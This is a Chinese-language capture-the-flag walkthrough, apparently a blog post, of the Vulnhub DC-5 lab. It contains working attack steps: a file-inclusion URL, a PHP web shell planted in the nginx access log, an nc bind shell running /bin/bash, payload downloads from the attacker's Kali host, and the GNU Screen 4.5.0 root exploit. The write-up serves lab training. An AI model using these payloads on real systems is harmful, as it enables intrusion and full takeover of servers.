Vulnhub-DC-5

    技术2025-03-01  3

    扫描获取目标 IP 地址:192.168.67.213 nmap -sn 192.168.67.0/24

    扫描获取目标系统信息及其开放端口:开放了 RPC 服务和 HTTP 服务 nmao -A -p- 192.168.67.213

    想要从 RPC 服务入手但无解,于是浏览器登录:http://192.168.67.213,初步浏览没有看到可以利用的东西,用工具 dirb 遍历目录,也没有看到有价值的东西。 dirb http://192.168.67.213

    于是继续再去浏览下网站看看有什么没有发现的没有,尝试给 Contact 提交内容,发现这种 URL 似曾相识: http://192.168.67.213/thankyou.php?firstname=1&lastname=1&country=australia&subject=1 直觉上?后边应该有值得利用的地方,但现在具体还不知道在哪个点…

    老规矩,看看是什么cms或server,wapplayzer–>nginx 1.6–>暂时没有可利用的记录

    无聊之中,再次提交下数据看看会不会有什么不一样的地方,哦吼,这 Copyright © 2020 中的 2020 怎么变成 2017 了,于是再提交了几次,发现每次提交都会有所变化,猜测就是 contact.php [也就是提交数据的那个界面] 包含了什么或者每次提交都调用了一个函数,这样每次提交都会调用一个 php 文件,由此生成了 Copyright © 20xx ,莫非搞的是是文件包含?试试就知道: http://192.168.67.213/thankyou.php?file=/etc/passwd 页面显示了 /etc/passwd,果然…

    思路一: 想到服务器会不会因为配置不当,访问日志文件给足了权限的时候,如果在access.log即访问日志文件上传了一个执行命令[因为你只要一访问,就会被访问日志文件所记录,可 nc 连接其 80 端口,就给它搞了个简单的shell] nc 192.168.67.213 80 <?php echo shell_exec($_GET['cmd']);?> 其实这种因为日志文件配置文档出现的几率是比较小的,还有一种思路就是在kali这边创造一个php文件,然后… http://192.168.67.213/thankyou.php?page=http://192.168.67.221/a.php&cmd=id 这种是属于出现几率相较于日志文件较大的

    最开始我们就知道 nginx ,这就可以直接调用搜索引擎查一查nginx的日志文件位置,很多善良的人会告诉我们答案的,果不其然在/var/log/nginx,要找的是access.log,所以路径应该是/var/log/nginx/access.log,试试就知道: http://192.168.67.213/thankyou.php?file=/var/log/nginx/access.log 果然如此,还记得干刚刚上传的简单脚本吗?验证一下: http://192.168.67.213/thankyou.php?file=/var/log/nginx/access.log&cmd=id Ctrl+F搜索一下 www-data,看看在不在,看到是在的 "uid=33(www-data) gid=33(www-data) groups=33(www-data) "

    既然这样最直接的思路就是利用 nc 传一个 shell 给kali http://192.168.67.213/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -vnlp 6666 -c /bin/bash

    kali 这边直接侦听:nc 192.168.67.213 6666 进来以后看看有没有可以漏洞利用提权的地方,home 目录下都没有什么东东,查阅了一些目录都没有发现到什么,看看有没有软件或者是本地命令提权的地方: find / root -perm -4000

    /bin/su /bin/mount /bin/umount /bin/screen-4.5.0 /usr/bin/gpasswd /usr/bin/procmail /usr/bin/at /usr/bin/passwd /usr/bin/chfn /usr/bin/newgrp /usr/bin/chsh /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/eject/dmcrypt-get-device /usr/sbin/exim4 /sbin/mount.nfs

    有一个 screen 软件,这是一款命令行终端自由切换的软件,去看看有没有该版本的漏洞, searchsploit screen GNU Screen 4.5.0 - Local Privilege Escal | linux/local/41154.sh cp /usr/share/exploitdb/exploit/linux/local/41154.sh /root/m.sh 找到一个 shell 执行脚本

    利用 nc 传文件: DC5:cd /tmp DC5:nc 192.168.67.221 2333 > m.sh kali:nc -vnlp 2333 < m.sh -q 1 DC5:chmod +x m.sh ./m.sh 发现运行了木有结果,也没有成功提权,查看一下 shell 脚本,看看是哪里出了问题,发现这个shell脚本内有编译C/C++代码执行命令,想着会不会是在DC系统上这些编译出了问题,要不试试在kali先编译下? 于是在 kali 中的 tmp 得到三个文件:libhax.so / rootshell / k.sh 这三个其实就是拆开得到的文件,其中 k.sh 中的内容如下,是源 shell 脚本的最后一部分:

    #!/bin/bash echo “[+] Now we create our /etc/ld.so.preload file…” cd /etc umask 000 # because screen -D -m -L ld.so.preload echo -ne “\x0a/tmp/libhax.so” # newline needed echo “[+] Triggering…” screen -ls # screen itself is setuid, so… /tmp/rootshell

    利用 nc 传文件: DC5:cd /tmp DC5:nc 192.168.67.221 2333 > libhax.so kali:nc -vnlp 2333 < libhax.so -q 1 DC5:nc 192.168.67.221 2333 > rootshell kali:nc -vnlp 2333 < rootshell -q 1 DC5:nc 192.168.67.221 2333 > k.sh kali:nc -vnlp 2333 < k.sh -q 1 DC5:chmod +x k.sh ./k.sh

    /bin/su ’ from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored. [+] done! [+] Now we create our /etc/ld.so.preload file… ’ from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored. [+] done! [+] Triggering… ’ from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored. [+] done! No Sockets found in /tmp/screens/S-www-data.

    `python -c 'import pty;pty.spawn("/bin/bash")'` `id` `cd /root/` `ls` `cat thisistheflag.txt` ![d22e8ca712ad627ad353e0f7dc14445.png][1] 总结: 1.多尝试2.多提交3.提权4.简单脚本编写 [1]: http://112.74.54.253/usr/uploads/2020/06/2323038801.png
    Processed: 0.010, SQL: 9